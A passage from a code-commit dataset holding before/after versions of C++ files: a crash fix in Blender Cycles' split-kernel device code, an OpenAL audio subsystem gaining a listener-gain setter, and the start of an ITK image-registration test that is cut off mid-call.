kernel_queue_enqueue;\n\tdelete kernel_background_buffer_update;\n\tdelete kernel_shader_eval;\n\tdelete kernel_holdout_emission_blurring_pathtermination_ao;\n\tdelete kernel_direct_lighting;\n\tdelete kernel_shadow_blocked;\n\tdelete kernel_next_iteration_setup;\n}\n\nbool DeviceSplitKernel::load_kernels(const DeviceRequestedFeatures& requested_features)\n{\n#define LOAD_KERNEL(name) \\\n\t\tkernel_##name = get_split_kernel_function(#name, requested_features); \\\n\t\tif(!kernel_##name) { \\\n\t\t\treturn false; \\\n\t\t}\n\n\tLOAD_KERNEL(path_init);\n\tLOAD_KERNEL(scene_intersect);\n\tLOAD_KERNEL(lamp_emission);\n\tLOAD_KERNEL(queue_enqueue);\n\tLOAD_KERNEL(background_buffer_update);\n\tLOAD_KERNEL(shader_eval);\n\tLOAD_KERNEL(holdout_emission_blurring_pathtermination_ao);\n\tLOAD_KERNEL(direct_lighting);\n\tLOAD_KERNEL(shadow_blocked);\n\tLOAD_KERNEL(next_iteration_setup);\n\n#undef LOAD_KERNEL\n\n\tcurrent_max_closure = requested_features.max_closure;\n\n\treturn true;\n}\n\nsize_t DeviceSplitKernel::max_elements_for_max_buffer_size(size_t max_buffer_size, size_t passes_size)\n{\n\tsize_t size_per_element = split_data_buffer_size(1024, current_max_closure, passes_size) \/ 1024;\n\treturn max_buffer_size \/ size_per_element;\n}\n\nbool DeviceSplitKernel::path_trace(DeviceTask *task,\n RenderTile& tile,\n device_memory& kgbuffer,\n device_memory& kernel_data)\n{\n\tif(device->have_error()) {\n\t\treturn false;\n\t}\n\n\t\/* Get local size *\/\n\tsize_t local_size[2];\n\t{\n\t\tint2 lsize = split_kernel_local_size();\n\t\tlocal_size[0] = lsize[0];\n\t\tlocal_size[1] = lsize[1];\n\t}\n\n\t\/* Calculate per_thread_output_buffer_size. *\/\n\tsize_t per_thread_output_buffer_size = task->passes_size;\n\n\t\/* Set gloabl size *\/\n\tsize_t global_size[2];\n\t{\n\t\tint2 gsize = split_kernel_global_size(task);\n\n\t\t\/* Make sure that set work size is a multiple of local\n\t\t * work size dimensions.\n\t\t *\/\n\t\tglobal_size[0] = round_up(gsize[0], local_size[0]);\n\t\tglobal_size[1] = round_up(gsize[1], local_size[1]);\n\t}\n\n\t\/* Number of elements in the global state buffer *\/\n\tint num_global_elements = global_size[0] * global_size[1];\n\n\t\/* Allocate all required global memory once. *\/\n\tif(first_tile) {\n\t\tfirst_tile = false;\n\n\t\t\/* Calculate max groups *\/\n\n\t\t\/* Denotes the maximum work groups possible w.r.t. current requested tile size. *\/\n\t\tunsigned int max_work_groups = num_global_elements \/ WORK_POOL_SIZE + 1;\n\n\t\t\/* Allocate work_pool_wgs memory. *\/\n\t\twork_pool_wgs.resize(max_work_groups * sizeof(unsigned int));\n\t\tdevice->mem_alloc(\"work_pool_wgs\", work_pool_wgs, MEM_READ_WRITE);\n\n\t\tqueue_index.resize(NUM_QUEUES * sizeof(int));\n\t\tdevice->mem_alloc(\"queue_index\", queue_index, MEM_READ_WRITE);\n\n\t\tuse_queues_flag.resize(sizeof(char));\n\t\tdevice->mem_alloc(\"use_queues_flag\", use_queues_flag, MEM_READ_WRITE);\n\n\t\tray_state.resize(num_global_elements);\n\t\tdevice->mem_alloc(\"ray_state\", ray_state, MEM_READ_WRITE);\n\n\t\tsplit_data.resize(split_data_buffer_size(num_global_elements,\n\t\t current_max_closure,\n\t\t per_thread_output_buffer_size));\n\t\tdevice->mem_alloc(\"split_data\", split_data, MEM_READ_WRITE);\n\t}\n\n#define ENQUEUE_SPLIT_KERNEL(name, global_size, local_size) \\\n\t\tif(device->have_error()) { \\\n\t\t\treturn false; \\\n\t\t} \\\n\t\tif(!kernel_##name->enqueue(KernelDimensions(global_size, local_size), kgbuffer, kernel_data)) { \\\n\t\t\treturn false; \\\n\t\t}\n\n\ttile.sample = tile.start_sample;\n\n\t\/* for exponential increase between tile updates *\/\n\tint time_multiplier = 1;\n\n\twhile(tile.sample < tile.start_sample + tile.num_samples) {\n\t\t\/* to keep track of how long it takes to run a number of samples *\/\n\t\tdouble start_time = time_dt();\n\n\t\t\/* initial guess to start rolling average *\/\n\t\tconst int initial_num_samples = 1;\n\t\t\/* approx number of samples per second *\/\n\t\tint samples_per_second = (avg_time_per_sample > 0.0) ?\n\t\t int(double(time_multiplier) \/ avg_time_per_sample) + 1 : initial_num_samples;\n\n\t\tRenderTile subtile = tile;\n\t\tsubtile.start_sample = tile.sample;\n\t\tsubtile.num_samples = min(samples_per_second, tile.start_sample + tile.num_samples - tile.sample);\n\n\t\tif(device->have_error()) {\n\t\t\treturn false;\n\t\t}\n\n\t\t\/* reset state memory here as global size for data_init\n\t\t * kernel might not be large enough to do in kernel\n\t\t *\/\n\t\tdevice->mem_zero(work_pool_wgs);\n\t\tdevice->mem_zero(split_data);\n\n\t\tif(!enqueue_split_kernel_data_init(KernelDimensions(global_size, local_size),\n\t\t subtile,\n\t\t num_global_elements,\n\t\t kgbuffer,\n\t\t kernel_data,\n\t\t split_data,\n\t\t ray_state,\n\t\t queue_index,\n\t\t use_queues_flag,\n\t\t work_pool_wgs\n\t\t ))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tENQUEUE_SPLIT_KERNEL(path_init, global_size, local_size);\n\n\t\tbool activeRaysAvailable = true;\n\n\t\twhile(activeRaysAvailable) {\n\t\t\t\/* Twice the global work size of other kernels for\n\t\t\t * ckPathTraceKernel_shadow_blocked_direct_lighting. *\/\n\t\t\tsize_t global_size_shadow_blocked[2];\n\t\t\tglobal_size_shadow_blocked[0] = global_size[0] * 2;\n\t\t\tglobal_size_shadow_blocked[1] = global_size[1];\n\n\t\t\t\/* Do path-iteration in host [Enqueue Path-iteration kernels. *\/\n\t\t\tfor(int PathIter = 0; PathIter < 16; PathIter++) {\n\t\t\t\tENQUEUE_SPLIT_KERNEL(scene_intersect, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(lamp_emission, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(queue_enqueue, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(background_buffer_update, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(shader_eval, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(holdout_emission_blurring_pathtermination_ao, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(direct_lighting, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(shadow_blocked, global_size_shadow_blocked, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(next_iteration_setup, global_size, local_size);\n\n\t\t\t\tif(task->get_cancel()) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/* Decide if we should exit path-iteration in host. *\/\n\t\t\tdevice->mem_copy_from(ray_state, 0, global_size[0] * global_size[1] * sizeof(char), 1, 1);\n\n\t\t\tactiveRaysAvailable = false;\n\n\t\t\tfor(int rayStateIter = 0; rayStateIter < global_size[0] * global_size[1]; ++rayStateIter) {\n\t\t\t\tif(int8_t(ray_state.get_data()[rayStateIter]) != RAY_INACTIVE) {\n\t\t\t\t\t\/* Not all rays are RAY_INACTIVE. *\/\n\t\t\t\t\tactiveRaysAvailable = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(task->get_cancel()) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\tdouble time_per_sample = ((time_dt()-start_time) \/ subtile.num_samples);\n\n\t\tif(avg_time_per_sample == 0.0) {\n\t\t\t\/* start rolling average *\/\n\t\t\tavg_time_per_sample = time_per_sample;\n\t\t}\n\t\telse {\n\t\t\tavg_time_per_sample = alpha*time_per_sample + (1.0-alpha)*avg_time_per_sample;\n\t\t}\n\n#undef ENQUEUE_SPLIT_KERNEL\n\n\t\ttile.sample += subtile.num_samples;\n\t\ttask->update_progress(&tile, tile.w*tile.h*subtile.num_samples);\n\n\t\ttime_multiplier = min(time_multiplier << 1, 10);\n\n\t\tif(task->get_cancel()) {\n\t\t\treturn true;\n\t\t}\n\t}\n\n\treturn true;\n}\n\nCCL_NAMESPACE_END\n\n\n<commit_msg>Fix crash after failed kernel build<commit_after>\/*\n * Copyright 2011-2016 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"device_split_kernel.h\"\n\n#include \"kernel_types.h\"\n#include \"kernel_split_data.h\"\n\n#include \"util_time.h\"\n\nCCL_NAMESPACE_BEGIN\n\nstatic const double alpha = 0.1; \/* alpha for rolling average *\/\n\nDeviceSplitKernel::DeviceSplitKernel(Device *device) : device(device)\n{\n\tcurrent_max_closure = -1;\n\tfirst_tile = true;\n\n\tavg_time_per_sample = 0.0;\n\n\tkernel_path_init = NULL;\n\tkernel_scene_intersect = NULL;\n\tkernel_lamp_emission = NULL;\n\tkernel_queue_enqueue = NULL;\n\tkernel_background_buffer_update = NULL;\n\tkernel_shader_eval = NULL;\n\tkernel_holdout_emission_blurring_pathtermination_ao = NULL;\n\tkernel_direct_lighting = NULL;\n\tkernel_shadow_blocked = NULL;\n\tkernel_next_iteration_setup = NULL;\n}\n\nDeviceSplitKernel::~DeviceSplitKernel()\n{\n\tdevice->mem_free(split_data);\n\tdevice->mem_free(ray_state);\n\tdevice->mem_free(use_queues_flag);\n\tdevice->mem_free(queue_index);\n\tdevice->mem_free(work_pool_wgs);\n\n\tdelete kernel_path_init;\n\tdelete kernel_scene_intersect;\n\tdelete kernel_lamp_emission;\n\tdelete kernel_queue_enqueue;\n\tdelete kernel_background_buffer_update;\n\tdelete kernel_shader_eval;\n\tdelete kernel_holdout_emission_blurring_pathtermination_ao;\n\tdelete kernel_direct_lighting;\n\tdelete kernel_shadow_blocked;\n\tdelete kernel_next_iteration_setup;\n}\n\nbool DeviceSplitKernel::load_kernels(const DeviceRequestedFeatures& requested_features)\n{\n#define LOAD_KERNEL(name) \\\n\t\tkernel_##name = get_split_kernel_function(#name, requested_features); \\\n\t\tif(!kernel_##name) { \\\n\t\t\treturn false; \\\n\t\t}\n\n\tLOAD_KERNEL(path_init);\n\tLOAD_KERNEL(scene_intersect);\n\tLOAD_KERNEL(lamp_emission);\n\tLOAD_KERNEL(queue_enqueue);\n\tLOAD_KERNEL(background_buffer_update);\n\tLOAD_KERNEL(shader_eval);\n\tLOAD_KERNEL(holdout_emission_blurring_pathtermination_ao);\n\tLOAD_KERNEL(direct_lighting);\n\tLOAD_KERNEL(shadow_blocked);\n\tLOAD_KERNEL(next_iteration_setup);\n\n#undef LOAD_KERNEL\n\n\tcurrent_max_closure = requested_features.max_closure;\n\n\treturn true;\n}\n\nsize_t DeviceSplitKernel::max_elements_for_max_buffer_size(size_t max_buffer_size, size_t passes_size)\n{\n\tsize_t size_per_element = split_data_buffer_size(1024, current_max_closure, passes_size) \/ 1024;\n\treturn max_buffer_size \/ size_per_element;\n}\n\nbool DeviceSplitKernel::path_trace(DeviceTask *task,\n RenderTile& tile,\n device_memory& kgbuffer,\n device_memory& kernel_data)\n{\n\tif(device->have_error()) {\n\t\treturn false;\n\t}\n\n\t\/* Get local size *\/\n\tsize_t local_size[2];\n\t{\n\t\tint2 lsize = split_kernel_local_size();\n\t\tlocal_size[0] = lsize[0];\n\t\tlocal_size[1] = lsize[1];\n\t}\n\n\t\/* Calculate per_thread_output_buffer_size. *\/\n\tsize_t per_thread_output_buffer_size = task->passes_size;\n\n\t\/* Set gloabl size *\/\n\tsize_t global_size[2];\n\t{\n\t\tint2 gsize = split_kernel_global_size(task);\n\n\t\t\/* Make sure that set work size is a multiple of local\n\t\t * work size dimensions.\n\t\t *\/\n\t\tglobal_size[0] = round_up(gsize[0], local_size[0]);\n\t\tglobal_size[1] = round_up(gsize[1], local_size[1]);\n\t}\n\n\t\/* Number of elements in the global state buffer *\/\n\tint num_global_elements = global_size[0] * global_size[1];\n\n\t\/* Allocate all required global memory once. *\/\n\tif(first_tile) {\n\t\tfirst_tile = false;\n\n\t\t\/* Calculate max groups *\/\n\n\t\t\/* Denotes the maximum work groups possible w.r.t. current requested tile size. *\/\n\t\tunsigned int max_work_groups = num_global_elements \/ WORK_POOL_SIZE + 1;\n\n\t\t\/* Allocate work_pool_wgs memory. *\/\n\t\twork_pool_wgs.resize(max_work_groups * sizeof(unsigned int));\n\t\tdevice->mem_alloc(\"work_pool_wgs\", work_pool_wgs, MEM_READ_WRITE);\n\n\t\tqueue_index.resize(NUM_QUEUES * sizeof(int));\n\t\tdevice->mem_alloc(\"queue_index\", queue_index, MEM_READ_WRITE);\n\n\t\tuse_queues_flag.resize(sizeof(char));\n\t\tdevice->mem_alloc(\"use_queues_flag\", use_queues_flag, MEM_READ_WRITE);\n\n\t\tray_state.resize(num_global_elements);\n\t\tdevice->mem_alloc(\"ray_state\", ray_state, MEM_READ_WRITE);\n\n\t\tsplit_data.resize(split_data_buffer_size(num_global_elements,\n\t\t current_max_closure,\n\t\t per_thread_output_buffer_size));\n\t\tdevice->mem_alloc(\"split_data\", split_data, MEM_READ_WRITE);\n\t}\n\n#define ENQUEUE_SPLIT_KERNEL(name, global_size, local_size) \\\n\t\tif(device->have_error()) { \\\n\t\t\treturn false; \\\n\t\t} \\\n\t\tif(!kernel_##name->enqueue(KernelDimensions(global_size, local_size), kgbuffer, kernel_data)) { \\\n\t\t\treturn false; \\\n\t\t}\n\n\ttile.sample = tile.start_sample;\n\n\t\/* for exponential increase between tile updates *\/\n\tint time_multiplier = 1;\n\n\twhile(tile.sample < tile.start_sample + tile.num_samples) {\n\t\t\/* to keep track of how long it takes to run a number of samples *\/\n\t\tdouble start_time = time_dt();\n\n\t\t\/* initial guess to start rolling average *\/\n\t\tconst int initial_num_samples = 1;\n\t\t\/* approx number of samples per second *\/\n\t\tint samples_per_second = (avg_time_per_sample > 0.0) ?\n\t\t int(double(time_multiplier) \/ avg_time_per_sample) + 1 : initial_num_samples;\n\n\t\tRenderTile subtile = tile;\n\t\tsubtile.start_sample = tile.sample;\n\t\tsubtile.num_samples = min(samples_per_second, tile.start_sample + tile.num_samples - tile.sample);\n\n\t\tif(device->have_error()) {\n\t\t\treturn false;\n\t\t}\n\n\t\t\/* reset state memory here as global size for data_init\n\t\t * kernel might not be large enough to do in kernel\n\t\t *\/\n\t\tdevice->mem_zero(work_pool_wgs);\n\t\tdevice->mem_zero(split_data);\n\n\t\tif(!enqueue_split_kernel_data_init(KernelDimensions(global_size, local_size),\n\t\t subtile,\n\t\t num_global_elements,\n\t\t kgbuffer,\n\t\t kernel_data,\n\t\t split_data,\n\t\t ray_state,\n\t\t queue_index,\n\t\t use_queues_flag,\n\t\t work_pool_wgs\n\t\t ))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tENQUEUE_SPLIT_KERNEL(path_init, global_size, local_size);\n\n\t\tbool activeRaysAvailable = true;\n\n\t\twhile(activeRaysAvailable) {\n\t\t\t\/* Twice the global work size of other kernels for\n\t\t\t * ckPathTraceKernel_shadow_blocked_direct_lighting. *\/\n\t\t\tsize_t global_size_shadow_blocked[2];\n\t\t\tglobal_size_shadow_blocked[0] = global_size[0] * 2;\n\t\t\tglobal_size_shadow_blocked[1] = global_size[1];\n\n\t\t\t\/* Do path-iteration in host [Enqueue Path-iteration kernels. *\/\n\t\t\tfor(int PathIter = 0; PathIter < 16; PathIter++) {\n\t\t\t\tENQUEUE_SPLIT_KERNEL(scene_intersect, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(lamp_emission, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(queue_enqueue, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(background_buffer_update, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(shader_eval, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(holdout_emission_blurring_pathtermination_ao, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(direct_lighting, global_size, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(shadow_blocked, global_size_shadow_blocked, local_size);\n\t\t\t\tENQUEUE_SPLIT_KERNEL(next_iteration_setup, global_size, local_size);\n\n\t\t\t\tif(task->get_cancel()) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/* Decide if we should exit path-iteration in host. *\/\n\t\t\tdevice->mem_copy_from(ray_state, 0, global_size[0] * global_size[1] * sizeof(char), 1, 1);\n\n\t\t\tactiveRaysAvailable = false;\n\n\t\t\tfor(int rayStateIter = 0; rayStateIter < global_size[0] * global_size[1]; ++rayStateIter) {\n\t\t\t\tif(int8_t(ray_state.get_data()[rayStateIter]) != RAY_INACTIVE) {\n\t\t\t\t\t\/* Not all rays are RAY_INACTIVE. *\/\n\t\t\t\t\tactiveRaysAvailable = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(task->get_cancel()) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\tdouble time_per_sample = ((time_dt()-start_time) \/ subtile.num_samples);\n\n\t\tif(avg_time_per_sample == 0.0) {\n\t\t\t\/* start rolling average *\/\n\t\t\tavg_time_per_sample = time_per_sample;\n\t\t}\n\t\telse {\n\t\t\tavg_time_per_sample = alpha*time_per_sample + (1.0-alpha)*avg_time_per_sample;\n\t\t}\n\n#undef ENQUEUE_SPLIT_KERNEL\n\n\t\ttile.sample += subtile.num_samples;\n\t\ttask->update_progress(&tile, tile.w*tile.h*subtile.num_samples);\n\n\t\ttime_multiplier = min(time_multiplier << 1, 10);\n\n\t\tif(task->get_cancel()) {\n\t\t\treturn true;\n\t\t}\n\t}\n\n\treturn true;\n}\n\nCCL_NAMESPACE_END\n\n\n<|endoftext|>"} {"text":"<commit_before>\/**\n\tA portable OpenAL audio subsystem implementation\n\n\tBased on https:\/\/github.com\/corporateshark\/Android-NDK-Game-Development-Cookbook\/tree\/master\/Chapter5\n**\/\n\n#include <atomic>\n#include <thread>\n\n#include \"AudioSubsystem_OpenAL.h\"\n#include \"OpenAL\/LAL.h\"\n\nclass clAudioSource_OpenAL: public iAudioSource\n{\npublic:\n};\n\nclass clAudioSubsystem_OpenAL: public iAudioSubsystem\n{\npublic:\n\tclAudioSubsystem_OpenAL();\n\tvirtual ~clAudioSubsystem_OpenAL();\n\n\tvirtual void Start() override;\n\tvirtual void Stop() override;\n\n\tvirtual std::shared_ptr<iAudioSource> CreateAudioSource() override;\n\n\tvirtual void SetListenerGain( float Gain ) override;\n\nprivate:\n\tvoid DebugPrintVersion();\n\nprivate:\n\tALCdevice* m_Device;\n\tALCcontext* m_Context;\n\n\tstd::shared_ptr<std::thread> m_AudioThread;\n\tstd::atomic<bool> m_IsPendingExit;\n\tstd::atomic<bool> m_IsInitialized;\n};\n\nstd::shared_ptr<iAudioSubsystem> CreateAudioSubsystem_OpenAL()\n{\n\treturn std::make_shared<clAudioSubsystem_OpenAL>();\n}\n\nclAudioSubsystem_OpenAL::clAudioSubsystem_OpenAL()\n: m_Device( nullptr )\n, m_Context( nullptr )\n, m_AudioThread()\n, m_IsPendingExit( false )\n, m_IsInitialized( false )\n{\n\tLoadAL();\n}\n\nclAudioSubsystem_OpenAL::~clAudioSubsystem_OpenAL()\n{\n\tUnloadAL();\n}\n\nvoid clAudioSubsystem_OpenAL::DebugPrintVersion()\n{\n\tprintf( \"OpenAL version : %s\\n\", alGetString( AL_VERSION ) );\n\tprintf( \"OpenAL vendor : %s\\n\", alGetString( AL_VENDOR ) );\n\tprintf( \"OpenAL renderer: %s\\n\", alGetString( AL_RENDERER ) );\n\tprintf( \"OpenAL extensions:\\n%s\\n\", alGetString( AL_EXTENSIONS ) );\n}\n\nvoid clAudioSubsystem_OpenAL::Start()\n{\n\tm_AudioThread = std::make_shared<std::thread>(\n\t\t[this]()\n\t\t{\n\t\t\tm_Device = alcOpenDevice( nullptr );\n\t\t\tm_Context = alcCreateContext( m_Device, nullptr );\n\t\t\talcMakeContextCurrent( m_Context );\n\n\t\t\tDebugPrintVersion();\n\n\t\t\tm_IsInitialized = true;\n\n\t\t\twhile ( !m_IsPendingExit )\n\t\t\t{\n\t\t\t}\n\n\t\t\talcDestroyContext( m_Context );\n\t\t\talcCloseDevice( m_Device );\n\n\t\t\tm_IsInitialized = false;\n\n\t\t}\n\t);\n}\n\nvoid clAudioSubsystem_OpenAL::Stop()\n{\n\tm_IsPendingExit = true;\n\n\tm_AudioThread->join();\n}\n\nstd::shared_ptr<iAudioSource> clAudioSubsystem_OpenAL::CreateAudioSource()\n{\n\treturn std::make_shared<clAudioSource_OpenAL>();\n}\n\nvoid clAudioSubsystem_OpenAL::SetListenerGain( float Gain )\n{\n}\n<commit_msg>Implemented clAudioSubsystem_OpenAL::SetListenerGain()<commit_after>\/**\n\tA portable OpenAL audio subsystem implementation\n\n\tBased on https:\/\/github.com\/corporateshark\/Android-NDK-Game-Development-Cookbook\/tree\/master\/Chapter5\n**\/\n\n#include <atomic>\n#include <thread>\n\n#include \"AudioSubsystem_OpenAL.h\"\n#include \"OpenAL\/LAL.h\"\n\nclass clAudioSource_OpenAL: public iAudioSource\n{\npublic:\n};\n\nclass clAudioSubsystem_OpenAL: public iAudioSubsystem\n{\npublic:\n\tclAudioSubsystem_OpenAL();\n\tvirtual ~clAudioSubsystem_OpenAL();\n\n\tvirtual void Start() override;\n\tvirtual void Stop() override;\n\n\tvirtual std::shared_ptr<iAudioSource> CreateAudioSource() override;\n\n\tvirtual void SetListenerGain( float Gain ) override;\n\nprivate:\n\tvoid DebugPrintVersion();\n\nprivate:\n\tALCdevice* m_Device;\n\tALCcontext* m_Context;\n\n\tstd::shared_ptr<std::thread> m_AudioThread;\n\tstd::atomic<bool> m_IsPendingExit;\n\tstd::atomic<bool> m_IsInitialized;\n};\n\nstd::shared_ptr<iAudioSubsystem> CreateAudioSubsystem_OpenAL()\n{\n\treturn std::make_shared<clAudioSubsystem_OpenAL>();\n}\n\nclAudioSubsystem_OpenAL::clAudioSubsystem_OpenAL()\n: m_Device( nullptr )\n, m_Context( nullptr )\n, m_AudioThread()\n, m_IsPendingExit( false )\n, m_IsInitialized( false )\n{\n\tLoadAL();\n}\n\nclAudioSubsystem_OpenAL::~clAudioSubsystem_OpenAL()\n{\n\tUnloadAL();\n}\n\nvoid clAudioSubsystem_OpenAL::DebugPrintVersion()\n{\n\tprintf( \"OpenAL version : %s\\n\", alGetString( AL_VERSION ) );\n\tprintf( \"OpenAL vendor : %s\\n\", alGetString( AL_VENDOR ) );\n\tprintf( \"OpenAL renderer: %s\\n\", alGetString( AL_RENDERER ) );\n\tprintf( \"OpenAL extensions:\\n%s\\n\", alGetString( AL_EXTENSIONS ) );\n}\n\nvoid clAudioSubsystem_OpenAL::Start()\n{\n\tm_AudioThread = std::make_shared<std::thread>(\n\t\t[this]()\n\t\t{\n\t\t\tm_Device = alcOpenDevice( nullptr );\n\t\t\tm_Context = alcCreateContext( m_Device, nullptr );\n\t\t\talcMakeContextCurrent( m_Context );\n\n\t\t\tDebugPrintVersion();\n\n\t\t\tm_IsInitialized = true;\n\n\t\t\twhile ( !m_IsPendingExit )\n\t\t\t{\n\t\t\t}\n\n\t\t\talcDestroyContext( m_Context );\n\t\t\talcCloseDevice( m_Device );\n\n\t\t\tm_IsInitialized = false;\n\n\t\t}\n\t);\n}\n\nvoid clAudioSubsystem_OpenAL::Stop()\n{\n\tm_IsPendingExit = true;\n\n\tm_AudioThread->join();\n}\n\nstd::shared_ptr<iAudioSource> clAudioSubsystem_OpenAL::CreateAudioSource()\n{\n\treturn std::make_shared<clAudioSource_OpenAL>();\n}\n\nvoid clAudioSubsystem_OpenAL::SetListenerGain( float Gain )\n{\n\talListenerf( AL_GAIN, Gain );\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit (ITK)\n Module: itkImageToImageAffineMutualInformationGradientDescentRegistrationTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\nCopyright (c) 2001 Insight Consortium\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\n * The name of the Insight Consortium, nor the names of any consortium members,\n nor of any contributors, may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\n * Modified source versions must be plainly marked as such, and must not be\n misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n#include \"itkPhysicalImage.h\"\n#include \"itkImageRegionIterator.h\"\n\n#include \"itkImageToImageAffineMutualInformationGradientDescentRegistration.h\"\n#include \"vnl\/vnl_math.h\"\n\n#include <iostream>\n\nint main()\n{\n\n\/\/------------------------------------------------------------\n\/\/ Create two simple images\n\/\/ Two Gaussians with one translated (7,3) pixels from another\n\/\/------------------------------------------------------------\n\n \/\/Allocate Images\n typedef itk::PhysicalImage<unsigned char,2> ReferenceType;\n typedef itk::PhysicalImage<unsigned char,2> TargetType;\n enum { ImageDimension = ReferenceType::ImageDimension };\n\n ReferenceType::SizeType size = {{100,100}};\n ReferenceType::IndexType index = {{0,0}};\n ReferenceType::RegionType region;\n region.SetSize( size );\n region.SetIndex( index );\n\n ReferenceType::Pointer imgReference = ReferenceType::New();\n imgReference->SetLargestPossibleRegion( region );\n imgReference->SetBufferedRegion( region );\n imgReference->SetRequestedRegion( region );\n imgReference->Allocate();\n\n TargetType::Pointer imgTarget = TargetType::New();\n imgTarget->SetLargestPossibleRegion( region );\n imgTarget->SetBufferedRegion( region );\n imgTarget->SetRequestedRegion( region );\n imgTarget->Allocate();\n\n \/\/ Fill images with a 2D gaussian\n typedef itk::ImageRegionIterator<ReferenceType>\n ReferenceIteratorType;\n typedef itk::ImageRegionIterator<TargetType>\n TargetIteratorType;\n\n itk::Point<double,2> center;\n center[0] = (double)region.GetSize()[0]\/2.0;\n center[1] = (double)region.GetSize()[1]\/2.0;\n\n const double s = (double)region.GetSize()[0]\/2.0;\n\n itk::Point<double,2> p;\n itk::Vector<double,2> d;\n\n \/\/ Set the displacement\n itk::Vector<double,2> displacement;\n displacement[0] = 7;\n displacement[1] =\t3;\n\n ReferenceIteratorType ri(imgReference,region);\n TargetIteratorType ti(imgTarget,region);\n ri.Begin();\n while(!ri.IsAtEnd())\n {\n p[0] = ri.GetIndex()[0];\n p[1] = ri.GetIndex()[1];\n\t d = p-center;\n\t d += displacement;\n\t const double x = d[0];\n\t const double y = d[1];\n ri.Set( (unsigned char)( 200.0 * exp( - ( x*x + y*y )\/(s*s) ) ) );\n ++ri;\n }\n\n\n ti.Begin();\n while(!ti.IsAtEnd())\n {\n p[0] = ti.GetIndex()[0];\n p[1] = ti.GetIndex()[1];\n\td = p-center;\n\tconst double x = d[0];\n\tconst double y = d[1];\n ti.Set( (unsigned char)( 200.0 * exp( - ( x*x + y*y )\/(s*s) ) ) );\n ++ti;\n }\n\n\/\/-----------------------------------------------------------\n\/\/ Set up a the registrator\n\/\/-----------------------------------------------------------\n typedef itk::ImageToImageAffineMutualInformationGradientDescentRegistration<\n ReferenceType,TargetType> RegistrationType;\n\n RegistrationType::Pointer registrationMethod = RegistrationType::New();\n\n \/\/ connect the images\n registrationMethod->SetReference(imgReference);\n registrationMethod->SetTarget(imgTarget);\n\n \/\/ set the transformation centers\n RegistrationType::PointType transCenter;\n for( unsigned int j = 0; j < 2; j++ )\n {\n transCenter[j] = double(size[j]) \/ 2;\n }\n\n registrationMethod->SetTargetTransformationCenter( transCenter );\n registrationMethod->SetReferenceTransformationCenter( transCenter );\n\n \/\/ set translation scale\n const double transScale = 100;\n registrationMethod->SetTranslationScale( transScale );\n\n \/\/ set metric related parameters\n registrationMethod->GetMetric()->SetTargetStandardDeviation( 5.0 );\n registrationMethod->GetMetric()->SetReferenceStandardDeviation( 5.0 );\n registrationMethod->GetMetric()->SetNumberOfSpatialSamples( 50 );\n\n \/\/ do the registration\n \/\/ reduce learning rate as we go\n registrationMethod->SetNumberOfIterations( 500 );\n registrationMethod->SetLearningRate( 